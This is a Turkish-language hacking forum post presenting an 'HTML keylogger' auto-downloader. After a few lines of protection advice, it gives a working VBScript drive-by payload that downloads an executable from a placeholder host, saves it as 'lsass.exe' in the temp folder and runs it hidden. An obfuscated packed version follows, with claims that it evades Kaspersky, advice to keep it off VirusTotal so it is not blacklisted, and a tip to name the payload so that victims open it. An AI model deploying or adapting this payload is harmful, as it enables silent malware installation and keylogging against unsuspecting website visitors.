Auto Downloader (HTML Keylogger)

---

Selamlar. Bu GUnki Dokumanimda hem HTML Keylogger (Auto Downloader) hemde onlardan korunmak icin 1 kac teknik paylasicam. Korunmadan Baslayarak ortaya dogru gidelim. Ilk once her zaman oldugu gibi Anti-virusunu Acik tut. Ve Ne download edersen et Oracle VM yani VirtualBox-da acki zarari olmasin bilgisayarina.Burda Sitelerde Registrasiya yerini gorunce anlarsiniz. zaten. Bunu soyleye bilirmki eger 1 sitede "Anti-Virus Sok! Bedava ESET indi ve Calistir!" gibi yazilimlar varsa ve Hemen uzerine basarken download gibi 1 sey gelirse sakin onu indirme ve hemen linki Blackliste at Engelle Host-undan(PC-den). Bazen oluyo oyle HTML yazilimlari. Mesela Auto Downloader-ler.1 nevi HTML Keyloggerler. Bunlarin CRYPT olunmus halleride olur. Yani ilk once 1 misal vereyim :

Kod:

<script language="VBScript">
on error resume next
Set obj1 = document.createElement("object")
obj1.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
est1="Microsoft."&"_xmlHTTP"
Set obj2 = obj1.CreateObject(est1,"")

est="Ado"&"db."&"Str"&"eam"
set obj3 = obj1.createobject(est,"")
obj3.type = 1
est2="GET"
obj2.Open est2, "http://www.siteniz.com/keyloggeradresiniz.exe", False
obj2.Send

set F = obj1.createobject("Scripting.FileSystemObject","")
set pasta = F.GetSpecialFolder(2)
fi="lsass.exe"
fi= F.BuildPath(pasta,fi)

obj3.open
obj3.write obj2.responseBody   
obj3.savetofile fi,2
obj3.close

set obj5 = obj1.createobject("Shell.Application","")

obj5.ShellExecute fi,"","","open",0
</script>

Burda keyloggeradi.exe yerine keyloger-in adi yazilir. Ve auto download olunur bilgisayariniza amma calistirilmaz. Bunu siz bilmedende calistira bilirsiniz. Amma AV(Anti-Virus) bu tiplisiteleri engelliyor. 1 seyde var. Bu 1 JavaScript-ir. Ve Bu DeCrypt-lenmis hali. yani bunu biz crypt-lersek AV-ler tutmaz. Bu zaman kolaylikla Indirile bilir. Simdi gelelim Crypt-lenmis haline :

Kod:

eval(function(p,a,c,k,e,d){e=function(c){return c};if(!''.replace(/^/,String)){while(c--){d[c]=k[c]||c}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('<10 33="32">31 29 30 34 11 3=35.40("39")3.28"36","37:41-26-22-21-20"18="27."&"25"11 7=3.24(18,"")17="23"&"19."&"38"&"53"6 4=3.8(17,"")4.58=1 15="57"7.56 15,"42://60.59.62/64.13",63 7.61 6 9=3.8("55.54","")6 12=9.46(2)5="45.13"5=9.44(12,5)4.14 4.43 7.47 4.48 5,2 4.52 6 16=3.8("51.50","")16.49 5,"","","14",0</10>',10,65,'|||obj1|obj3|fi|set|obj2|createobject|F|script|Set|pasta|exe|open|est2|obj5|est|est1|db|00C04FC29E36|983A|11D0|Ado|CreateObject|_0|65A3|Microsoft|setAttribute|error|resume|on|VBScript|language|next|document|classid|clsid|Str|object|createElement|BD96C556|http|write|BuildPath|lsass|GetSpecialFolder|responseBody|savetofile|ShellExecute|Application|Shell|close|eam|FileSystemObject|Scripting|Open|GET|type|siteniz|www|Send|com|False|keyloggeradresiniz'.split('|'),0,{}))

Buda crypt-lenmis Hali. Bunu "StealtH" gardasim test etdi Kaspersky bunu gormuyor auto download olunuyor. Ve bu Crypt-leri sakin ama sakin VirusTotal-da calistirmayin! Cunki Blackliste dusuyor ve ise yaramaz hala geliyor. Simdi aklinizda 1 soru tmm bu keyloggerimiz download oldu peki acmazsa aktiv olmaz axi?! Bu size kalmis adini cok guzel 1 sey koyun her kes acsin Ve soylediyim gibi bu tur programlari Virtual-da acin tanimadiginiz 1 program olursa hemen virtualda. Ve hala bazi DDoS programlarinin Backdoor-lari olur onun icin Kendi bilgisayarinizda Script-lerden Virtual-da ise DDoS Programlarindan istifade edin. Bu Secure-dir. Kolay gele (:
Greet'Z To : M4NY3T!K & StealtH & FleXDoWN(Sh00CK!nG)